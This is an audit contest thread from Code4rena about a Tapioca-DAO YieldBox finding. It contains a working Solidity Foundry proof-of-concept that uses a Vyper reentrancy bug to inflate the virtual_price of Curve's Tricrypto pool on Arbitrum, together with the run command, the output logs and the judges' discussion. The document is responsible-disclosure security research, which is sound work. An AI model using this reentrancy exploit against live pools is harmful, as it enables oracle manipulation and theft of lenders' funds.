a4185aaf2a0a953dd8ea2e7f62a58087c4cd5680bfbe8c3a749efef847af3c3b - Sent Privately

[code423n4]

Lines of code

https://github.com/Tapioca-DAO/YieldBox/blob/f5ad271b2dcab8b643b7cf622c2d6a128e109999/contracts/YieldBox.sol#L118

Vulnerability details

a4185aaf2a0a953dd8ea2e7f62a58087c4cd5680bfbe8c3a749efef847af3c3b

Sent privately

Assessed type

ERC4626

[c4-pre-sort]

minhquanym marked the issue as primary issue

[thebrittfactor]

For transparency, this submission's full content has been added below, upon sponsor review and approval.

Tricrypto on arbitrum should not be used as collateral due to virtual_price manipulation due to Vyper 2.15, .16 and 3.0 bug

// SPDX-License Identifier: MIT

pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console2.sol";

interface ICurvePool {
    // Add with WETH
    function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external;
    function remove_liquidity(uint256 _amount, uint256[3] memory _min_amounts) external;
    function remove_liquidity_one_coin(uint256 token_amount, uint256 i, uint256 min_amount) external;
    function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy, bool useETh) external;
    function balances(uint256) external view returns (uint256);

    function D() external returns (uint256);
    function virtual_price() external returns (uint256);
    function get_virtual_price() external returns (uint256);
}

interface IWETH {
    // Deposit via Call
    function withdraw(uint256 amount) external;
}

interface IERC20 {
    function approve(address, uint256) external returns (bool);
    function balanceOf(address) external view returns (uint256);
}

interface ITriOracle {
    function lp_price() external view returns (uint256);
}

contract VieReentrant is Test {
    IERC20 TOKEN = IERC20(0x8e0B8c8BB9db49a46697F3a5Bb8A308e744821D2);
    ICurvePool pool = ICurvePool(0x960ea3e3C7FB317332d990873d354E18d7645590);
    IERC20 public WETH = IERC20(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
    IERC20 public USDT = IERC20(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9);
    IERC20 public WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);

    ITriOracle curve_oracle = ITriOracle(0x2C2FC48c3404a70F2d33290d5820Edf49CBf74a5);

    constructor() {
        WETH.approve(address(pool), type(uint256).max);
        USDT.approve(address(pool), type(uint256).max);
        WBTC.approve(address(pool), type(uint256).max);
    }

    function start() external payable {
        console2.log("virtual_price 0", pool.virtual_price());
        console2.log("get_virtual_price 0", pool.get_virtual_price());
        console2.log("D 0", pool.D());

        console2.log("USDT BAL 0", USDT.balanceOf(address(pool)));
        console2.log("WBTC BAL 0", WBTC.balanceOf(address(pool)));
        console2.log("WETH BAL 0", WETH.balanceOf(address(pool)));

        console2.log("USDT POOL BAL 0", pool.balances(0));
        console2.log("WBTC POOL BAL 0", pool.balances(1));
        console2.log("WETH POOL BAL 0", pool.balances(2));

        console2.log("curve_oracle 0", curve_oracle.lp_price());

        uint256[3] memory amts;
        amts[0] = USDT.balanceOf(address(this)) / 2;
        amts[1] = WBTC.balanceOf(address(this));
        amts[2] = WETH.balanceOf(address(this));

        pool.add_liquidity(amts, 0);

        // Swap USDT for ETH so we can Reenter
        pool.exchange(0, 2, 1, 0, true); // We will reEnter here // Pretty sure we can do a trade with 1 wei
        // Swap 1 wei because it's enough to cache old XP with new Supply

        console2.log("virtual_price 4", pool.virtual_price());
        console2.log("get_virtual_price 4", pool.get_virtual_price());
        console2.log("D 4", pool.D());

        console2.log("USDT BAL 4", USDT.balanceOf(address(pool)));
        console2.log("WBTC BAL 4", WBTC.balanceOf(address(pool)));
        console2.log("WETH BAL 4", WETH.balanceOf(address(pool)));

        console2.log("USDT POOL BAL 4", pool.balances(0));
        console2.log("WBTC POOL BAL 4", pool.balances(1));
        console2.log("WETH POOL BAL 4", pool.balances(2));

        console2.log("curve_oracle 4", curve_oracle.lp_price());

        if (TOKEN.balanceOf(address(this)) > 0) {
            amts[0] = 0;
            amts[1] = 0;
            amts[2] = 0;
            pool.remove_liquidity(TOKEN.balanceOf(address(this)), amts); // Withdraw WETH so we can repeat
        }

        // Check the amt left
        console2.log("Balance of USDT", USDT.balanceOf(address(this)));
        console2.log("Balance of WETH", WETH.balanceOf(address(this)));
        console2.log("Balance of WBTC", WBTC.balanceOf(address(this)));
        console2.log("Balance of ETH", address(this).balance);

        console2.log("curve_oracle 5", curve_oracle.lp_price());
    }

    function reEnter() internal {
        uint256 toWithdraw = TOKEN.balanceOf(address(this));

        uint256[3] memory minAmts;
        minAmts[0] = 0;
        minAmts[1] = 0;
        minAmts[2] = 0;
        // pool.remove_liquidity(toWithdraw, minAmts);
        pool.remove_liquidity(toWithdraw, minAmts); // Withdraw WETH so we can repeat
    }

    fallback() external payable {
        // Call the extra thing
        console.log("Fallback gas left", gasleft());
        reEnter(); // We do it here so you can do compare
    }
}

contract CompoundedStakesFuzz is Test {
    VieReentrant c;

    function setUp() public {
        c = new VieReentrant();
    }

    function testTricryptoLP() public {
        // Basically same size as starting
        deal(address(c.WBTC()), address(c), 174e8 * 10);
        deal(address(c.WETH()), address(c), 3_000e18 * 10);
        deal(address(c.USDT()), address(c), 5_000_000e6 * 2);
        c.start();
    }
}

Per the POC above, Tricryptos virtual_price is not reliable and can be manipulated, in the POC we show how we could overborrow 10 times the collateral

Explanation of Issue

The fundamental issue is that virtual_price is computed with cached _xp while totalSupply is not cached but instead queried directly from the Token

After reentering, via a swap from any token to WETH, with use_eth set to true

We can burn the total_supply

This will cause:

Remove liquidity call to have a normal VP Swap call to use it's cached _xp with the updated TotalSupply, causing VP to change incorrectly

POC

Run the POC via

forge test --match-test testTricryptoLP -vvv --rpc-url https://arb-mainnet.g.alchemy.com/v2/KEY

The output results in a 11X increase in the price

Adding more imbalanced combinations (e.g. 10X the USDT) can further increase the price

As you can see the attacker has access to all balances

[PASS] testTricryptoLP() (gas: 1632601)
Logs:
  virtual_price 0 1036342940051418117
  get_virtual_price 0 1036342940051418117
  D 0 7672736887241895288850556
  USDT BAL 0 2537517164296
  WBTC BAL 0 8758022611
  WETH BAL 0 1397051963201389872001
  USDT POOL BAL 0 2537517164296
  WBTC POOL BAL 0 8758022611
  WETH POOL BAL 0 1397051963201389872001
  curve_oracle 0 1169984247854533342747
  Fallback gas left 8797746687694759267
  virtual_price 4 11583826407188400102
  get_virtual_price 4 11583826407188400102
  D 4 85724151282426995388961143
  USDT BAL 4 674745645101
  WBTC BAL 4 16360185613
  WETH BAL 4 2810610393233905915160
  USDT POOL BAL 4 674745645101
  WBTC POOL BAL 4 16360185613
  WETH POOL BAL 4 2810610393233905915160
  curve_oracle 4 13074750361160466706581
  Balance of USDT 11862771519195
  Balance of WETH 28586441569963336345970
  Balance of WBTC 166397836998
  Balance of ETH 4147610871
  curve_oracle 5 13074750361160466706581

Sponsor (Tapioca) commented:

We were aware of the Curve situation and will not be using it in prod

[c4-sponsor]

0xRektora (sponsor) acknowledged

[c4-judge]

dmvt marked the issue as selected for report

[c4-judge]

dmvt marked the issue as not selected for report

[c4-judge]

dmvt marked the issue as duplicate of #889

[c4-judge]

dmvt changed the severity to 2 (Med Risk)

[c4-judge]

dmvt marked the issue as satisfactory

[GalloDaSballo]

This finding Is not a dup of 889

889 is actually invalid / Lower Impact as it states that stETH/ETh Virtual Price can be manipulated (true), but that value is never used in the code, which will not lead to any particular risk

The way the token is priced is by the stETH out, and my finding was awarded as unique med for it

I would suggest making 1333 unique and closed 889 as invalid

1333 also has a Coded POC which fully demonstrates the impact, whereas 889 doesn’t

TL;DR: 889 is invalid, because https://github.com/code-423n4/2023-07-tapioca-findings/issues/1432 is the real attack for the stETH/ETH Lp token

1333 is a unique attack not shown in any other report

https://github.com/code-423n4/2023-07-tapioca-findings/issues/1018 is proof that the attack is not known (publicly Curve simply stated to remove funds, but there's no POC for it as Tricrypto uses WETH instead of ETH, the above shows the POC which was not public at that time)

Note on responsible disclosure: I've been in chat with all integrators as well as Vyper and Curve Devs since the accident At this time the few integrators potentially affected have all taken precaution to wind down their integrations

[carrotsmuggler]

Just chiming in to say if this issue does get judged to be a separate one (which i think it should), #1018 should be its duplicate since it explains the same thing, just without the POC

[c4-judge]

dmvt marked the issue as not a duplicate

[c4-judge]

dmvt marked the issue as primary issue

[c4-judge]

dmvt marked the issue as selected for report